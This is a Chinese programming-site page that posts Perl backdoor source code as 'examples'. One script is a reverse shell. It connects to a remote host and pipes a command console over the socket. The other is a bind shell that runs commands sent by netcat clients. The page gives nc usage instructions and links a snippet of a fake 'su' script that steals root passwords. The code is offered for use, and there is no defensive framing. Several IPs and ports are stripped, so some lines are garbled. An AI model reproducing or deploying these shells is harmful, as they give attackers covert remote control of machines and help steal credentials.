位置: 编程技术 - 正文

perl后门,正向和反向!实例代码

编辑:rootadmin
反向连接代码: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default ) on your local system first,then 4. #Perl $0 Remote IP(default .0.0.1) Remote_port(default ) 5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. 6. #nc -vv -l -p 7. #perl backdoor.pl .0.0.1 8. 9. #use strict; . use Socket; . use IO::Socket; . use Cwd; . use IO::Handle; . my $remote = $ARGV[0]|| ".0.0.1"; . my $remote_port = $ARGV[1]|| ; . my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote)); . my $path = cwd(); . $ARGC = @ARGV; . if ($ARGV[0]!~/-/) . { . socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: "; . STDOUT->autoflush(1); . SOCKET->autoflush(1); . $conn=connect(SOCKET,$pack_addr)||die "connection error : $!"; . open STDIN,">&SOCKET"; . open STDOUT,">&SOCKET"; . open STDERR,">&SOCKET"; . print "You are in $pathn"; . print "Welcome to use.n"; . print "console>n"; . . while (<STDIN>) { . chomp; . if( lc($_) eq 'exit' ) { . print " Bye Bye!"; . exit; . } . $msg=system($_); . if($msg){ . print STDOUT "n$msgn"; . print STDOUT "console>"; . }else . { . print "console>"; . } . } . close SOCKET; . exit; . } 正向连接代码: 1. #!/usr/bin/perl 2. #ActivePerl 5.8.8 Build 3. #usage: 4. #first:perl backdoor2c.pl 5. #second:nc -vv .0.0.1 6. #net user 7. #ipconfig /all 8. #netstat -anb 9. use IO::Socket; . $port = ""; . my $socket = new IO::Socket::INET ( 'Localhost'=>'.0.0.1' , . 'LocalPort'=>$port , . 'Listen'=>1 , . 'Proto'=>'tcp' , . 'Reuse'=>1 ); . die "Reason: $!" unless $socket; . while (my $new_socket = $socket->accept()) { . while (my $buffer=<$new_socket> ){ . if ($buffer=~/exit/) {exit;} . $res_msg=`$buffer`; . print $new_socket "$res_msgncmd>"; . }}

推荐整理分享perl后门,正向和反向!实例代码,希望有所帮助,仅作参考,欢迎阅读内容。

perl后门,正向和反向!实例代码

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Perl模块编写说明 Perl的语法相对来说有点晦涩,主要是一些内置变量和函数处理得相当精巧,而过于精致的东西理解起来就有点费力。相对于Shell,Perl在很多方面更加强

用perl写的单位电脑信息采集程序 主要用于收集ip、mac、姓名、房间,后来又加入了维修记录的功能。服务器端接受数据并存入数据库中。#############################usestrict;useTk;useEncode;#SOCKE

冒充su ,perl写的su.pl盗取root密码 我改了一下,把回显关了加了个延时:#!/usr/bin/perl#Writtenbyxi4oyuevil.xi4oyu@gmail.com.print"Password:";`stty-echo`;$s1=STDIN;print"n";`sttyecho`;sleep3;print"su:incorrectpasswordn"

标签: perl后门,正向和反向!实例代码

本文链接地址:https://www.jiuchutong.com/biancheng/372433.html 转载请保留说明!

上一篇:Shell编程的一些知识集合(shell编程技巧)

下一篇:Perl模块编写说明(perl编程)

  • 注册资本印花税减半征收政策
  • 房产税如何
  • 房租租赁房产税由哪方缴纳
  • 其他综合收益属于当期损益吗
  • 财产租赁合同金额含税吗
  • 资产负债表的货币资金根据什么填
  • 注册资本印花税按年申报还是按次申报
  • 有限合伙企业应当
  • 充电桩收入属于什么类别
  • 购买税控盘全额退税
  • 外币结汇怎么做账
  • 建筑施工企业检查的内容包括什么
  • 给客户赔偿如何入账
  • 财产租赁合同金额含税吗
  • 员工离职 社保
  • 不动产拍卖税费怎么计算
  • 房屋租赁的税收政策
  • 文化传媒公司的经营模式怎么写
  • 纳税人必须熟知什么
  • 待处理流动资产损失属于什么科目
  • 消防安装工程会计核算
  • 填报企业年报
  • 一般纳税人增值税及附加税费申报表怎么填
  • 赠送给客户的商品怎么做账
  • 自己生产的水泥用于建造厂房
  • w10系统程序停止运行
  • 施工企业会计制度有哪些
  • 代理报关的报关单发货人
  • 不是公司员工差评怎么写
  • win10系统损坏开不了机
  • 支付以前年度增值税怎么做账
  • win7纯净版系统官网
  • 巴伐利亚州地图
  • wordpress开发app
  • 小企业遵循什么会计准则
  • mac快捷切换
  • 借银行存款贷预收账款
  • 2023跨年代码大全可复制免费
  • 以前多计提的工资怎么办
  • 企业自行清算的条件是什么
  • 增值税专用发票和普通发票的区别
  • 印花税土地使用权计税依据
  • 没有抄报税就申报了怎么办
  • 城镇土地使用税优惠政策
  • 特殊银行账户上限
  • 应收账款占比是什么
  • 汽车报废残值如何处理
  • 怎样识别真假增值税发票
  • 职工给单位造成损失可以申请仲裁吗
  • 一般纳税人销售旧货税率
  • 发现以前年度错账,不论错账是否涉及损益
  • 出资入股是什么意思
  • 估价入账的账务处理
  • 贷款收取服务费
  • 供应商质量索赔流程
  • 补交增值税如何转管理费用
  • 年底未分配利润为负数怎么做分录
  • 物流行业会计核算特征有哪些
  • Linux环境mysql5.7.12安装教程
  • sql面试题50题
  • windows vista如何安装
  • ubuntu18.04环境变量
  • centos7光盘挂载方法
  • linux没有ssh
  • mac新建窗口快捷键
  • neoDVD.exe - neoDVD是什么进程 有什么用
  • win8无法更新到win10
  • 使用shell脚本实现自动化软件部署
  • js如何引用
  • unity开发用macbook怎么样
  • particular粒子怎么用
  • js判断函数
  • python 基础 详细
  • 在javascript中什么方法可以对数组元素进行排序
  • 初步了解的英文
  • jquery获取页面元素
  • 泉州企业医保哪里缴费
  • 河北税务云办税厅官方
  • 股权转让税务备案时间
  • 税务申报如何网上申报
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设